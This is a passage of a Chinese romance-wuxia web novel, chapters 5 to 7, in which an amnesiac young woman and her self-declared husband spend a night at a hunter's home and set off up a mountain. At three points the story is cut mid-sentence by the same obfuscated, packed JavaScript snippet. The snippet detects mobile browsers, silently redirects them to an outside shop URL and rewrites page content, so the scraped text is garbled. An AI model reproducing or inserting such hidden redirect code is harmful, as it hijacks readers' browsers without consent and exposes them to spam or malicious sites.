江见一张嘴毫无顾忌,一顿天花乱坠但乱七八糟地夸差点让云桑遁地,一张脸红了又白,白了又红,十分精彩。 “别说了,快瞧,我、我脚疼。” 生怕江见再说出什么乱七八糟的话了来让她羞耻难言,云桑再不当鹌鹑了,主动卖了个惨,果然将对方的注意力引了过去,不再研究她像馒头的脚。 “你这脚大概是从山崖上摔下来的时候脱臼了,我给你拧回来,不过可能有些疼,娘子千万要忍一下。” 江见自然不会将这等小疼小痛的放在眼里,平时刀山血海的,人家一刀招呼到他身上他都能面不改色地将对方抹了脖子。 但此刻对上的是他新得的身子骨柔弱的娘子,姑娘家一向怕疼,江见觉得他的娘子定然也怕,便事先体贴地叮嘱了一声。 尽管云桑听了江见的话已经做足了准备,然当脚踝上钻心的疼痛袭来后,她还是没有控制住自己。 被攥住的脚不能动,也不敢动,但却没说另一只不行。 剧痛之下,那一瞬间,云桑也被勾起了激烈的反应,右脚不受控制地弹了起来,一脚踢到了对她没有防备的少年身上,正中胸口。 那一脚算是云桑的超常发挥,力道不小,江见猝不及防被踹中,身形狼狈地后仰跌倒了地上,佩剑都在地上敲出了声响。 “哎,娘子你怎么踹人?” 江见一时不察挨了一脚,等反应过来已是来不及,索性及时撑住了地面才不至于让自己狼狈到极点。 撑住身子,江见懵了几息,而后十分新鲜地摸了摸自己被踹中的胸口,惊笑了一句。 踹完人的云桑意识到自己干了什么,又见江见那不辨喜怒的笑,心下顿生愧疚,神色慌张解释道:“对不住,我太疼了,一时没控制住,是我的错。” 人家是好意,事先也算是体贴提醒过了,但自己还是不分青红皂白地反伤了人一下,怎么看都是理亏的。 她慌里慌张地解释完后,神色忐忑地看着地上慢吞吞起来的少年,生怕对方因为这一脚恼羞成怒将她如何。 在云桑有些惊惶的目光中,江见站起,随手打了打衣袍上沾染的灰尘,看着她含笑道:“除了我师父,娘子你还是第一个踹我的人,不过你是我娘子,我原谅你了~” 江见神色变幻了一阵,似是烦躁了一瞬,但很快又释然了。 以往谁要是不怕死敢踹他,江见早将人变成花肥了,不过这人变成了娘子便不同了。 好不容易遇到这么一个合心意的娘子,挨几下也无妨,何况娘子又不是故意的,她有什么错呢? 自己将自己哄得顺心顺气的,江见继续攥住了少女白嫩纤软的脚掌,对着脚踝处那一大块淤青发呆。 看出江见没有要跟她计较的意思,云桑安下心来,刚要对江见的气量表达感谢,就察觉到对方又摸上了自己的脚。 刚正骨完毕的脚还有些疼,云桑轻扯了扯,立即忍不住嘶了两声,皱起了一张俏脸。 江见抬头看了她一眼,只觉得像个包子,引得他想上手捏一捏。 但他此刻有更重要的事要做。 丹田中内力运转,顺着指腹流转到云桑的脚踝上,那股温热的感觉瞬间席卷全身,不止脚踝处的痛感大大降低,全身都暖洋洋的舒服,潜藏在衣衫下的伤处也跟着消减了痛楚。 尽管没有记忆,云桑却完全可以笃定她从未感受过这等奇异的东西,圆睁着好奇的眼眸看着江见指腹周围有些虚化的空气,一时间满眼惊叹。 “这是什么?” 身子舒服了许多,云桑来了精神,好奇地问道。 江见见人已经不疼了,慢悠悠地收回内力,笑言:“内力,可以缓解疼痛,不过它还是治愈不了外伤,娘子从山崖上跌下来,身上定然不止这一处淤青,我去给你寻些药回来,你等我回来。” 在云桑看来,新得的便宜夫君实在善良体贴,不仅能体察她没有言说的痛楚,还要不辞辛劳去为她大半夜去寻药,这很难不让人感念。 云桑也不是那等爱折腾人的,喜欢差遣人大半夜去为她奔波,还是差遣一个目前没什么情意的便宜夫君。 “要不然明日再去吧,现在这么晚了,来回太折腾人了。” 云桑进屋前看了周围,这户人家很是偏僻,四周没什么人烟,想要寻药怕是需要费不少力气。 反正刚才江见的内力也让她舒服了很多,云桑倒也不急着擦药。 江见第一次在除师父以外的人身上感受到关切,而且与师父那硬邦邦,偶尔还夹枪带棒的关切很不一样,他的娘子是如此的轻柔温暖,江见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134068|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心脏酸软了一瞬,更开心了。 “这算什么折腾,一会就回来了,娘子等着便是!” 云桑不明白,自己本是好意劝人的,怎么劝完后人更轴了,她拗不过,干脆随他去了。 他喜欢当牛做马那便当吧,云桑会记得他的好的。 这样想,云桑点点头,看着江见认认真真将云桑的袜子又穿了回去,神情松了松,迟疑地说了句好听的话。 “路上小心。” 江见心口又是一软,奇异的感觉在心田流淌着,滋润着,江见心口变作滚烫,看着云桑的目光也渐渐灼烫了起来。 这让云桑以为自己说错话了,当即提起了一颗心,轻声问道:“你、你怎么了?” 江见站起身,实在没忍住捏了捏少女腮边的软肉,语气轻快道:“没怎么,见你可爱手痒了。” 捏完人,也不多话,腿一迈便闪身出了屋子。 云桑听见江见走前似乎和萧家夫妻说了些什么,再然后便没有动静了。 从醒来到现在,云桑终于迎来了独身一人的寂静,烛火闪动着,将少女姝静的身影映照在墙壁上,好半晌才传来了波动。 云桑躺在身下简单但却干净舒适的被褥上,长叹了一口气,脑子里一点点将事情捋着,只觉得大千世界无奇不有。 睁眼便失去了过往记忆,在身陷险境时又碰到江见这样奇奇怪怪的人。 她很不幸,但却又万幸。 但云桑一想到先前江见在山林中说的话,便不住的心尖发颤,心绪纷乱起来。 瞧着年纪轻轻不过十七八岁的模样,这么着急生孩子作甚? 越想越不平静,云桑神色渐渐凝重,平添几分烦恼。 萧猎户家只有这一间空房,她与江见如今又是夫妻,铁定是要住在一起的。 想到这,云桑心跟着怦怦跳起来。 江见总不会今夜便要自己给他生小娃娃吧! 云桑一边否认一边担忧,心绪可谓是冰火两重天,不得安宁。 就在云桑纠结时,屋门传来了响动,云桑飞速从床上弹起,问道:“是谁?” 江见去寻药去了,才走了不过一会,那敲门之声便不可能是他。 在云桑惴惴不安的情绪中,门外传来了女主人柳娘子温柔大方的声音。 “是我,来给姑娘送些饭菜。” 云桑记得她,印象也不错,人家又是好意,云桑忙不迭就要下去开门。 “柳娘子稍待,我这就来开门!” 然还没等她下地,屋门便嘎吱一声打开了,柳氏端着几个碗碟,急吼吼迈步进来阻道:“不必不必,你脚伤还未痊愈,我自己进来便是。” 柳氏风风火火的,径直到了屋内,将手里的饭菜放到一边,云桑收回了刚下地的脚。 “柳娘子太客气了,真不知如何谢你们。” 对于萧猎户家来说,她和江见只是来借宿的陌生人,竟还能做到这般殷切淳朴,云桑诧异又感叹。 柳氏顺势坐在了床边,看着灯火下少女朦胧清艳绝伦的面容,脑海中又是想起了江小公子那张俊俏的脸,再次于心中感叹这对小夫妻的登对。 5. 第 5 章 春日里,大地回暖,偶尔还能听到草丛里传出的虫鸣声。 柳氏看着少女感动的目光,笑意温和地解释道:“哪里要谢,是你那小夫君周到,方才出去买药钱硬是给我家男人塞了银钱,推都推不掉,让我们好好照看你,这不,想到你可能饿着肚子,来给你送些饭菜来了。” “也是不巧,我家这几日将伤药用完了,要不然你那小夫君也不必大夜里的往县城里跑,但不得不说你那小夫君待你倒是不错。” 面对柳氏的打趣,云桑心中窘迫,笑而不语。 谁能想到这样的夫君是今夜才遇见的,说出来都怕吓柳娘子一跳,云桑只能捏着鼻子认了,做出羞涩受用的情态。 “柳娘子快别说了。” 云桑做起这扭捏情态来倒是信手拈来,她都怀疑自己以前是不是常干这些事。 柳娘子此番也只是送饭,只简单说了几句便离开了,走前特地嘱咐云桑趁热用饭。 柳娘子走后,云桑看向了那一餐饭。 一碗小米粥,两个菜团子,一小碟酱肉片,一碗鸡蛋羹,还有一碟子腌菜。 云桑第一反应觉得这一餐饭有些简陋,但知道这份餐食已经是人家满满的诚意了,云桑心中感念,哪里会挑拣,细嚼慢咽地吃了起来。 同时,她想起了一些她必须得操心的事,那便是银钱。 云桑虽没有记忆,但不代表失去了判断力,她看了一眼自己的打扮,无论是周身的衣料还是颈间的璎珞,都可以判断她的出身应当非富即贵,是个不缺银钱的。 但如今她落了难,这些她便非常紧缺了。 毕竟人想要吃饱穿暖,压根离不了银钱,云桑虽刚得了一个便宜夫君,却是不好意思次次手心朝上的,她瞥了瞥自己颈间的璎珞,手往发髻上摸了摸,却发现上面空空荡荡的。 大概是都落在了山里,她心想。 那些找回来可是一笔不小的银钱,云桑改变了主意,打算明日江见上山时再一道跟去。 做好决定,云桑将注意力转到了饭菜上。 遭了这场大难后,云桑饥肠辘辘,竟将这些饭菜吃得一干二净,除了腌菜有些咸,她只尝了几口。 柳娘子的手艺很不错,云桑吃得意犹未尽,肚皮圆圆地放下了勺子,精神头都足了很多。 也是巧了,这时外面又传来了动静,云桑刚说了请进,就看到一个小脑袋钻进来,眨巴着大眼睛看着她。 “姐姐吃完了吧,阿娘让我过来拿东西的。” 小丫头只有六岁,头上扎着总角双髻,说话还奶声奶气的,乖巧的模样分外可爱,云桑立即不好意思了。 哪里能让人家小丫头来,忙站了起来将碗碟都放到托盘上,就要往外走。 骨头被江见矫正后,又被内力疗愈了一番,此刻脚腕上只剩下微微的痛意,不影响走路。 “不用,姐姐可以自己送去,你回去睡觉吧。” 小丫头记着阿娘的话,知道这个姐姐伤了脚,就要帮忙,但身高不足,没能成功。 就在一大一小两个姑娘争着干活时,篱笆们开了,一身明亮白袍的少年自远处走来,手里提着东西,是他辛苦了一番从已经关门的药铺里买来的跌打损伤药。 习武之人目力极好,尽管是在黑漆漆的夜里,也如白昼般清晰,轻而易举便看见了沾在屋门口的美貌姑娘,隔着老远便同云桑说话了。 “娘子我回来了!” 也正是一嗓子,又将猎户家的小狗给惊起来了,对着江见又是一阵清脆的狂吠,被江见路过时故意使坏吓唬了一顿,夹着尾巴哼唧哼唧地跑走了。 云桑愣了一下,也正是这发怔的空档被小姑娘抢走了托盘,笑嘻嘻地跑走了。 云桑看着小丫头头上随着动作不断颠动的双髻,也忍不住被逗笑了。 “这小丫头真可爱。” 云桑只是当下感叹了一句,其实并没有别的意思,但在江见这个脑子里塞了不知什么东西的人耳朵里就完全变味了。 他倏然间靠近云桑,目光裹着促狭的笑,神色却是认真的。 “你喜欢女娃娃?那日后我们也生一个!” 就好像说得是明早上吃什么那样随意,云桑差点都怀疑自己幻听了。 黑夜中,云桑满脸涨红,心都跟着窒了窒,不知回什么好了。 这人怎么不一步登天呢。 “嗯嗯,以后再说吧。” 但既然给出了承诺,云桑也不好公然反悔唱反调,敷衍地应了回去,不敢看江见动人心魄的灼灼眼眸。 云桑逃一般地进了屋子,但忘了这屋子今夜可不止属于她一个人。 刚想将门推上,把那个时刻挑战她羞耻心的少年关在门外,一只手及时地卡在了中间,让云桑没能关上。 江见再用力推了一把,人就如游鱼一般钻了进来,进来前还诧异地看着云桑道:“娘子怎能把我也关在外面,是让我睡树上吗?” 虽然他确实经常睡那里,但从此以后他不想了,他要守着他的娘子睡。 被江见这样底气十足的质问,回过神来的云桑面上尴尬了一瞬,讷讷无言地看着他,侧身让出位置,让人进来了。 “娘子快来,我给你上药~” 少年像一只觅食回来的小麻雀,每一个字眼都透着丰收的欢快,丝毫没有刚认识没多久的生涩和距离。 但这话却是让云桑心中本就绷起来的弦断了。 她可不只是脚踝上有淤青,身上更是不少,这点江见也是知道的,但他还能说出这样的话,云桑神色躲闪起来。 “不用了,我自己来就行,不劳烦你。” 为了生存,刚认识便答应做人妻子已是云桑的极限,让她袒露着身子在江见面前她是万万做不到的。 下意识往后退了一步,云桑嗫喏道。 闻言,刚将药放下的江见回头,目光若有所思地落在少女红润窘迫的面颊上,一瞬间想通了什么。 “娘子害羞了?” 虽是问句,但江见的神情是肯定的,但又带着些不理解。 有什么好害羞的,不就是露个身子吗? 他就不害羞,娘子想看就看。 心里暗暗吐槽着,但一方面他知道姑娘家似乎脸皮要薄些,见人局促成那样,也不勉强,放下药便出去了。 正好,床上就一床被子,他要去多要一床。 云桑正紧张着,就看见江见摇了摇头出去了,也没说做什么。 云桑以为他是由着自己上药了,顿时长舒了一口气,拿起了床边的药膏,打开轻嗅了一下。 是草药特有的味道,味道不是很冲,甚至还带着淡淡的清香,云桑很是满意。 她最不喜欢那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134069|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些过于冲的药味,闻一下仿佛心肝脾肺都在难受,以前…… 脑中突然冒出这个词,云桑怔了怔,无奈笑了笑。 也不知她这病症日后还能不能好了,若是不好,难不成真要一辈子当江见的娘子? 垂头丧气地将罗袜褪下,鲜红的石榴裙衬得少女本就白皙的脚愈发雪腻晃眼,被抱着一条被子的江见进来瞧了个正着。 跟着江见进来的,是一脸笑盈盈的柳娘子。 江见先是盯了那只玲珑纤足好几眼,才堪堪将被子放下,神色热烈,喜爱之情不言而喻。 明明先前江见也给她正了骨,不是没看过,但眼下她不知为何又扭捏了起来,不过她有些慢半拍,待人看完了她知道藏脚了。 眼看着少女那只白生生的脚丫子躲进鲜艳似火的裙下,江见看不着了,才将翻涌的心思平息下来,笑道:“既然娘子害臊,我请了柳家姐姐过来帮你,省得娘子在那费劲巴拉了。” 将床上原有的被子往里面推了推,将新拿来的被子放在外侧,床铺不大,两条被子紧紧挨在一处,云桑心里杂,惯会胡思乱想,一瞧又瞧出来几分暧昧难言来。 “那便多谢柳家姐姐了。” 还有柳娘子在,云桑忙收起脑子里那些乱七八糟的,笑言感谢。 衣衫下的伤痕不少,就体感来说无论是后背、胸口还是大腿各处,云桑都能隐隐感受到不适。 因此这药绝不能让江见来上。 见他还知道请个女子过来,云桑不由得在心中赞了他一句。 不过江见仍是个令人迷惑的,一会粗一会细的,让人辨不真切。 见柳娘子将药拿起来后江见仍在屋里,云桑瞥了他一眼,固执道:“你还不出去?” 少年耸了耸肩,也没多话,撇了撇嘴转身去外面逗狗了。 狗这种动物惯是个爱有反差的,先前还对江见凶狠狂吠,只是用几条肉干哄哄再摸几下脑袋便成了一条温驯的小东西。 冰凉带着清香的药膏被柳娘子涂抹在周身淤青处,云桑渐渐感受到了一种温润舒适感,身心都跟着舒畅了许多。 柳娘子这边,看着少女一身细嫩雪肤上触目惊心的一片片淤青,心中升起怜惜的同时也十分诧异。 “云姑娘这是遭了什么罪,怎的将身子弄成这样?” 可怜见的,不得是被人打了一遭吧? 柳娘子第一个便怀疑到了云桑的小夫君头上,满心都是不可置信,毕竟江小公子看起来是个体贴人,竟是个会对妻动手的吗? 脑中风卷残云地想了一遭,柳娘子神情惊愕,正想暗道一声知人知面不知心时,少女柔柔地否定了她的揣测。 “是从悬崖上跌下来摔的,我命大挂在了树上,是夫君救了我。” 一件惊心动魄的事被少女和缓温吞地说出来,听得柳娘子又多了几分同情,心中忙呸了几下,言错怪了江小公子。 药涂好后,云桑再次表示了感谢,将柳娘子送了出去。 一见柳娘子出来,前脚还在逗狗的少年立即站起了身子,鬼头鬼脑地钻进了屋子。 门还没完全阖上,云桑便听到身后人窸窸窣窣的脱衣声,尤其是解蹀躞带时的咔哒声,让云桑想装听不见都难。 阖上门的一刹那,云桑心脏怦怦跳,呼吸都跟着急促了起来。 不会便是今晚吧? 6. 第 6 章 这一瞬间,云桑心绪百转千回,僵着身子慢慢扭头过来,看着已经将白袍甩在一旁木架上,只有一身白色中衣的江见,一颗心跟油煎的一样。 太快了她接受不了,而且还是借宿在别人家,隔壁便是人,这对云桑来说还是太难了。 正待云桑像个木头一般立在门边踌躇不前时,将靴子蹬掉的江见没事人一般朝她喊话。 “娘子你要睡里面还是外面?” 仍旧是一派纯然朝气的神情,倒衬得云桑六根不净,心思污浊。 她不清楚江见心里到底在想什么,只能小心翼翼地应道:“都可以。” 收到云桑这句随意的话,江见便美滋滋先挑了。 “那便我睡外头,你睡里头,遇到危险了我还能保护娘子。” 云桑安静地听着他的甜言蜜语,脚下像生了根一般好半天挪动不了,引得江见人都钻进被窝里了扭头来催她道:“娘子你还傻站着干嘛,快上来睡觉!” 少年拍了拍自己的被子,十足的邀请意味,让云桑更手忙脚乱了。 也不能在屋里站一夜不睡,想着总有一日要这般,她硬着头皮往床边走了。 本就满心局促着,偏生江见这人一双眼睛还一眨不眨地盯着她每一步,让云桑每一步都仿佛走在悬崖边,整个人身形都是虚浮的。 好不容易走到床边,刚想给自己做些思想建设稳住心神,就被迫不及待的江见一把扯上了床。 “啊~” 云桑忍不住惊叫了一声,以为这个刚得的便宜夫君就要对她施行一些丈夫的权力了,甚至已经预想到了后面,全身都紧绷着。 然当自己陷入一片柔软的被褥中,云桑懵了好几息,眼珠子转了转,才知自己只是被江见扯到了里面自己的位置,而他正半撑着身子看着她。 好在她穿的是柳娘子拿来的木屐,经过刚才那么一翻顺势落在了床边,要不然非得一起带上来。 江见好奇地打量着蜷缩着身子的少女,纳闷道:“娘子怎么跟个被逮到的兔子一样,我有那么可怕吗?” 说着话,还顺手将被子给云桑盖上了,看起来澄澈单纯得不得了。 云桑被他弄得一愣一愣的,下意识捏紧了被角,将其往身上拉了拉,只露出一个脑袋来。 他拿了两床被子来,看起来也没有多余的心思,云桑觉得也许是自己想多了。 见云桑安安静静躺下,江见探出身子将烛火吹灭了,也在他的位置躺了下来,不过也没有很规矩,隔着被子将云桑搂在了怀里。 屋内没了烛火后完全陷入了黑暗,眼睛看不见后别的感官倒是清晰了许多,比如说少年越发温热的气息靠近,还有那股熟悉的奇异花香。 她僵硬地被江见抱在怀中,就像个蚕宝宝,胸腔里的情绪不住地翻涌,直到少年凑过来亲昵地蹭了蹭她的脸,说了一句睡吧,云桑才半信半疑地软下了身子。 窗外山风吹拂,偶尔拍打着窗棂,只听着声响便知此刻外面凄清料峭。 云桑却如身陷暖炉中,伴着江见身上的暖香,思绪开始飘飘然起来。 失去意识的前一刻,她浑浑噩噩地确定了。 似乎确实是她想多了。 …… 山间鸟雀多,到了清晨便啾喳起来,仿佛要叫醒全天下的人,云桑也是在这一阵阵清脆的鸟鸣声中醒来的。 她迷糊间,觉得自己好似被包裹在什么里面,很是温暖,但着实有些严实。 睁开眼睛首先映入眼帘的是少年松松垮垮的领口,可以明晃晃地看着其胸口上带着些许欲色的精致锁骨,甚至只要她眼神再往下溜些还能看到那一片正在规律起伏的高低不平。 鼻翼乃至浑身都被陌生异性独特的气息包裹着,云桑一瞬间竟有些晕乎乎的。 她也没管此刻自己是以什么姿态睡在人怀中的,只猛地一抬头,便察觉到头顶撞到了什么东西,不仅硌得她脑袋疼,还听到了一道冷嘶声,想来是被撞疼了。 原来是江见的下颚抵在她发顶,云桑猝然抬头,少不得让他吃些苦头。 “嘶~” “娘子倒也不必这般唤我起床。” 两人分开了些,江见一边揉着自己被撞疼的下巴一边笑语道,看起来心情还不错,没有丝毫动气的征兆。 云桑却是要赔个不是的,她拖着她被裹成蚕蛹一般的身子自江见怀中坐了起来,脸热道:“对不住,我不是故意的。” 云桑都觉得这歉意太过干巴巴,但她也说不出什么花样来。 江见并不在意这些,目光落在少女酣睡过后带着红晕的面颊,只觉得像个粉嫩鲜美的桃子,又是忍不住上手捏了一把。 “哪里需要道歉,我不过是随口一句,娘子自不必理我。” 也不知如何形成的癖好,江见喜欢捏人家的脸,才认识多久便捏了她三次,虽然也不疼,就是他指腹的薄茧让她有些麻痒,但云桑对这等亲昵的动作还是觉得怪怪的。 目光闪动着避开了脸,捏着身上的被子往后退了退。 “不是说今日还要上山吗,快起来吧。” 江见轻嗯了一声,系了系有些松垮的中衣,踢掉半盖在身上的被子,拿起木架上的外袍披在身上,将坠着不少小东西的蹀躞带扣在了腰上。 蹀躞带的声音让云桑侧目过去,不可避免就看见了正值青春妙龄少年人挺拔而健美的身体,尤其是那把在蹀躞带束缚下柔韧而窄瘦的腰,在肩和臀的比照下尤为抢眼。 云桑只瞧了一眼,便慌里慌张地缩了回去,一颗心怦怦地跳。 为了平复她不太安分的心思,云桑找了个正经的话题开口道:“我怕是有东西落在山上了,我想回去寻一寻,能带我一起去吗?” 云桑直觉告诉她,江见应当不会拒绝她,毕竟他看起来待她如此宽厚,只是回去寻个东西罢了,想来是会答应的。 这点云桑倒是没有猜错,江见听了这话,只是挑了挑眉,没有拒绝她,仍是笑盈盈的模样,只是叮嘱了她些话。 “当然可以,只是娘子可能会看到些可怕的东西,别害怕就行。” 这话说得含糊,云桑只以为是会遇到些野兽,不禁提起了一颗心来,既是担心自己又恐拖了江见的后腿,生出些退意来。 “那还是不去了吧,再拖累了你。” 蹬上最后一只靴子,江见三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134070|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下将散着的头发用发带束好,又变成了昨夜英姿勃发的模样。 “这算什么,娘子不必多想,你可拖累不了我,若是想去便跟着。” 不再是夜里昏黄模糊的烛光,日光明亮清晰,让云桑将江见彻底看得清楚了。 白日的江见,不止浑身上下洋溢着青春活力,面上更是透着肉眼可见的血气丰盈,眼角眉梢还有那双唇,都仿佛上了一层淡淡的胭脂,极尽昳丽明亮。 一笑之下,眼尾还隐隐向下耷拉着,满是少年人的清澈明朗,十分的讨人喜欢。 云桑不能否认,面对这张漂亮讨喜的脸,她实在难以生出什么嫌恶不喜来。 眸中飞快划过一丝惊艳,云桑低垂着眼眸,又问道:“那我会受伤,会有生命危险吗?” 好似云桑说了什么惊世骇俗之语,江见神色惊愕地盯了她片刻,盯得云桑都局促了起来。 就在云桑就要开口时,江见终于说话了,是费解后得哭笑不得。 “怎会,有我在你一根头发都不会掉,放心,我护得住娘子!” 那样自信昂扬的姿态,勾得云桑立即就信服了,也跟着笑了起来。 “好,那我跟着你一道去。” 江见是个眼里有活的人,见云桑要起,说是去外面把水打进来给她洗漱。 趁着江见离开的空档,云桑忙不迭从被子里钻出来,穿戴好了衣裙,顺手给自己散乱的头发编成了一条斜麻花,长长的耷拉在前胸,清爽了许多。 穿鞋袜的时候,云桑想着等从山上下来去城里要给自己再买些换洗衣裙才是。 一只脚还未穿上袜子,江见便兴冲冲地回来了,云桑下意识又要藏脚,却被对方打趣的话语拦下了。 “娘子别藏了,又不是没看过,娘子真见外~” 被江见说得一窘,云桑也不藏了,大大方方拿了出来,继续穿起了鞋袜。 江见说得对,又不是没见过,日后怕是还要多见,她合该敞亮些。 用江见顺手在外面折的杨柳枝蘸着专门用来洁牙的青盐清洁了牙齿,最后净面。 江见大约是出去打水的时候便将自己的洗漱问题解决了,进来的时候面上还挂着些未干的水汽,洗漱完的他便百无聊赖起来,这期间江见如看猴子一般看着她洗漱,若不是云桑定力变强了许多,哪里能受的了他。 好容易熬过了洗漱,两人一道出门去,辞别萧家夫妻。 夫妻两很是淳朴敦厚,柳娘子刚做好了早饭,让云桑二人吃些东西再走。 江见一向是无所谓的,反正他一顿不吃饿不死,也不贪那一顿口腹之欲。 但今时不同往日了,他不吃不代表他娘子不吃,娘子这般瘦,更要多吃一些才好。 听了柳娘子的问话,江见看向云桑,眼中大有询问之意。 云桑想着昨夜里江见也给了银钱,又不是白吃人家的,便下意识点头应了。 “要吃早食,对身体好。” “不过便不留下吃了,烦请姐姐给我拿些便是。” 少女一本正经地说着,柳娘子笑着应了一声好,匆匆拿黄油纸包了几个今早刚烙的饼子笑呵呵塞给了云桑。 7. 第 7 章 萧家夫妇没有多问他们为何还要上山,大抵知道他们不过是萍水相逢,保留了一份分寸感。 云桑的脚经过一系列疗愈,加上歇了一夜,基本已经大好,走起路来也不会再疼了。 只要不蹦蹦跳跳地走路,或者大动作,云桑都感受不到异常。 柳家姐姐说这座山唤作桃花山,只因下面挨着的村子叫做桃花村。 白日里的桃花山没了夜里的冷寂骇人,四下阳光明媚,空气中满是清晨草木清香,让人心神清明舒适。 除了山路有些难走。 云桑咬了一口手里的饼子,满嘴喷香,吃得津津有味。 柳娘子今早烙的饼子是梅菜肉沫馅的,油放得不少,烙的外皮酥脆焦香,饼子的份量也很足,云桑比划了一下,比她的脸还要大上一圈。 吃了几口,云桑胃里热乎乎的,也多了充实感,见江见弯着眼眸看她,云桑忙不迭递了一个饼子过去。 “味道不错,你也吃一个。” 清寒葱绿的山林中,少女碧衫红裙,一张面颊莹润美丽,巧笑嫣然地看着他,清丽不似凡人。 江见没有立即接那张看起来油香焦脆的饼子,而是将目光落在了少女唯一显得有些随意潦草的发髻上。 虽然娘子这样也很好看,但江见觉得她应当配得上更美丽的发髻。 余光瞥见不远处有一棵长满粉色小花的藤蔓,江见有了个好主意,扬起笑过去了,在云桑诧异的目光下扭下了一朵,脚步轻盈地小跑回来,明眸闪着碎光,将手里的小花簪在了她的鬓边。 “可惜这朵花还不够好看,等遇到了更好看的便给娘子换一朵。” 江见觉得家门口长的花便十分配她,可惜远隔千里不能折取,等忙完了便带着娘子回去。 为姑娘簪花,这无疑是在表达倾慕与喜爱,尽管云桑知道江见喜爱她,但忽然来这么一下她心绪难免不平静,只摸了摸鬓边不知叫什么的粉色小花讷讷道:“这朵也很好看了。” “娘子喜欢就好。” 江见笑着接过了她手里的饼子,一口下去饼子上便多了一个大豁口,十分豪迈。 云桑见状,将剩下的两个饼都推给了他。 “你就吃这些?” 江见看着只抱着一个饼子啃的少女,眉心打起了结。 嘴里还有喷香的饼子,云桑说话也是含糊的,干脆也不说了,只点了点头。 囫囵吃掉一个饼子的江见却不满了,用他另一只干净的手掐了掐云桑的胳膊,不赞同道:“娘子这样不行,太瘦了,怕是生不出小娃娃来,该多吃些,长得胖乎乎的才好。” 云桑属实没想到江见在吃的上都能扯到生育子嗣上,且还贬损她不能生。 虽然云桑也不以能生小娃娃为荣为耻,但江见这样武断她也是不赞同的。 她急得想反驳,不了嘴里饼子还未咽下,有些在激动下卡在了气管里,引得她剧烈咳嗽了起来,像是要把肺都给咳出来。 见自己一句话引起云桑这么痛苦的反应,江见立即懊恼了,忙回忆着小时候,师父那时是如何待他的,学着师父的样子将云桑抱在怀里轻拍着后背。 “是我不好,说错话了,娘子别急。” 被江见箍在怀里,还如同一个稚子般被轻拍着背,这让云桑很是难为情。 “咳咳咳,我没、没事,不用拍了。” 扭着身子从江见怀中钻出来,云桑面容通红,既是咳的也是窘的。 怀里的小鱼儿游出去了,江见神色肉眼可见的怅然了一瞬,还是没有去捉。 “喝口水缓缓吧。” 少年的眼神中带着丝毫不掩饰的怜惜,将腰间的葫芦解了下来,递给云桑道。 云桑盯着那只浑身漆黑的油润葫芦,心中多少有些诧异。 “原来这葫芦里装的是水,我还以为是酒呢。” 男子大多偏爱酒,尤其云桑觉得江见这种仗剑江湖的恣意游侠,应当也是最爱此物的。 似乎戏文里都这么写,不知藏在哪里的记忆冒了出来,云桑愣了几息。 江见掂了掂手里的葫芦,嘿嘿笑了几声,解释道:“吃酒误事,还伤身,我没兴趣。” “娘子究竟喝不喝?” 伸出去的手顿了好半晌都没人接,江见疑惑极了,大有要收回来的意思。 云桑回过神来,下意识便将葫芦接了过来。 就算没有被饼子呛着,吃了这东西好半天她早已口渴了,需要喝些水解解渴才行。 然拧开葫芦的塞子,云桑动作忽地僵在了原地,神情难言起来。 她和江见似乎都忽略了一件事,那便是,这个葫芦是江见嘴对嘴用过的,她再用岂不是…… 念此,云桑浑身都不自在起来,僵在原地,又是好半晌没敢下嘴。 这夫妻做的实在虚假,云桑真的没法让自己沉浸在其中,尤其是她原本也不是很赞同和旁人共用这类东西,就算是郎情妾意的真夫君。 她迟疑地盯着手里的葫芦,在江见看来好似在发呆。 只见少年向她轻扬了扬下巴,眼神中是满满的催促和不解。 葫芦都拿回来了,加上云桑确实口渴,断然没有再退回去的道理。 思索了一番,云桑想到了一个勉强凑合的法子,将葫芦对着嘴抬了起来。 清澈的水液穿过空气,最终倾泻到少女微张着的软嫩红唇中,江见隐约还能看见藏在其中的粉嫩雪白,半遮半掩,有些勾人。 但意识到什么的他有些郁闷,目光幽幽地看着喝完了水正在轻柔擦拭着唇角的少女。 “娘子嫌弃我。” 江见向来不是内敛爱藏话的性子,察觉出这个可能,他立即就憋不住了。 云桑是没想到江见会品出这么个意思,她只是觉得这样太过亲密,她做不出这样的事罢了。 颤颤巍巍地将塞子塞上,云桑大脑飞速运转,磕磕绊绊解释道:“嗯…这毕竟是你的东西,我不好直接用的。” “我不嫌弃娘子的。” 少年语气闷闷的,有几分委屈,但环胸的姿态却是嚣张的,莫名有种兴师问罪的架势。 云桑继续狡辩道:“我、我知道,只是…嗯男女授受不亲,还是应当避嫌一点,这样不好。” 